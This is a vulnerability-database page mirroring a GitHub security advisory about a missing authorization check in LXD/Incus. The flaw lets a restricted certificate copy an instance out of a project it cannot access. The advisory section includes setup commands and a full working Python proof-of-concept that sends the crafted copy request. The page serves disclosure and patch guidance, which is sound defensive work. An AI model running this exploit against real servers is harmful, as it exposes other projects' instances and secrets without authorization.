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Response snapshot Nov 7, 2026, 20:21 UTC

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VulnerabilityGHSA-qx75-2p3r-pwm5

LXD has project restriction bypass in instance copy across projects

Reported from https://github.com/lxc/incus/security/advisories/GHSA-c9f5-j9c3-mhrg Missing authorization checks exist for instance copying where an attacker knowing the name of a project that they don't have access to and the name of an instance in that project can copy the...

Published Updated

At a glance

Exploited
Not known
Severity
Not scored yet
Chance of exploitation
Not estimated
Sources
1 source

What to do

GitHub lists first patched versions: github.com/canonical/lxd: 0.0.0-20260630083100-c5184be310b1. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-qx75-2p3r-pwm5 (opens a new tab)

What happened

Reported from https://github.com/lxc/incus/security/advisories/GHSA-c9f5-j9c3-mhrg

Summary

Missing authorization checks exist for instance copying where an attacker knowing the name of a project that they don't have access to and the name of an instance in that project can copy the instance to a new project. This issue could allow an attacker to access secrets in instances they are not authorized to access.

Details

Continue reading

cmd/incusd/instances.go authorizes POST /1.0/instances against the target project. In the copy path, cmd/incusd/instances_post.go then loads the source instance from req.Source.Project without checking whether the caller can view that source instance.

From my understanding, the copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the instance to another server.

Setup

We assume the target server is remotely accessible and a user/certificate has been added.

# create a new project and instance
incus project create secrets
incus profile show default | incus --project secrets edit default
incus --project secrets init images:debian/trixie secret

# restrict an existing certificate to prevent access to the project
incus config trust edit cert-fp
#> set, for example
restricted: true
projects:
 - default

# verification, with the restricted certificate
incus ls remote:

Exploitation

The below script was partly generated. To copy the secret instance to the default project, the following command can be used.

python3 poc.py --url https://IP-REMOTE:8443 \
 --cert path/to/client.crt --key path/to/client.key \
 --target-project default --source-project secrets \
 --source-instance secret --name copy-secret --insecure

Wait a bit for the instance to be copied, then incus ls remote: to see the copied instance.

#!/usr/bin/env python3
"""Copy an instance from a project the caller should not be able to read."""

from __future__ import annotations

import argparse
import json
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request

def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes:
 ctx = ssl.create_default_context()
 if insecure:
 ctx.check_hostname = False
 ctx.verify_mode = ssl.CERT_NONE
 ctx.load_cert_chain(cert, key)

 req = urllib.request.Request(
 url.rstrip("/") + path,
 data=json.dumps(body).encode(),
 method="POST",
 headers={"Content-Type": "application/json", "Accept": "application/json"},
 )
 try:
 with urllib.request.urlopen(req, context=ctx) as resp:
 return resp.read()
 except urllib.error.HTTPError as exc:
 sys.stderr.write(exc.read().decode(errors="replace") + "\n")
 raise

def main() -> int:
 ap = argparse.ArgumentParser()
 ap.add_argument("--url", required=True)
 ap.add_argument("--cert", required=True)
 ap.add_argument("--key", required=True)
 ap.add_argument("--target-project", required=True)
 ap.add_argument("--source-project", required=True)
 ap.add_argument("--source-instance", required=True)
 ap.add_argument("--name", required=True, help="new instance name in target project")
 ap.add_argument("--instance-only", action="store_true")
 ap.add_argument("--start", action="store_true")
 ap.add_argument("--insecure", action="store_true")
 ap.add_argument("--dry-run", action="store_true")
 args = ap.parse_args()

 body = {
 "name": args.name,
 "source": {
 "type": "copy",
 "source": args.source_instance,
 "project": args.source_project,
 "instance_only": args.instance_only,
 },
 "start": args.start,
 }
 path = "/1.0/instances?" + urllib.parse.urlencode({"project": args.target_project})
 print(json.dumps(body, indent=2))
 if args.dry_run:
 return 0
 print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors="replace"))
 return 0

if __name__ == "__main__":
 raise SystemExit(main())

Impact

An attacker can copy instances they don't normally have access to, possibly leading to information disclosure.

Affected package ranges reported by GitHub: github.com/canonical/lxd: < 0.0.0-20260630083100-c5184be310b1

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Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-qx75-2p3r-pwm5 (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-qx75-2p3r-pwm5, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, November 6). LXD has project restriction bypass in instance copy across projects. https://kevwire.com/record/GHSA-qx75-2p3r-pwm5

MLA

"LXD has project restriction bypass in instance copy across projects." KEVWire, 6 Nov. 2026, kevwire.com/record/GHSA-qx75-2p3r-pwm5.

Chicago

KEVWire. "LXD has project restriction bypass in instance copy across projects." Last modified November 6, 2026. https://kevwire.com/record/GHSA-qx75-2p3r-pwm5.

Evidence summary (plain text)

LXD has project restriction bypass in instance copy across projects (Nov 6, 2026).
Reported from https://github.com/lxc/incus/security/advisories/GHSA-c9f5-j9c3-mhrg

Missing authorization checks exist for instance copying where an attacker knowing the name of a project that they don't have access to and the name of an instance in that project can copy the instance to a new project. This issue could allow an attacker to access secrets in instances they are not authorized to access.

cmd/incusd/instances.go authorizes POST /1.0/instances against the target project.
Sources:
GitHub-reviewed advisory GHSA-qx75-2p3r-pwm5: https://github.com/advisories/GHSA-qx75-2p3r-pwm5
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: GHSA-qx75-2p3r-pwm5.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Nov 7, 2026, 19:40 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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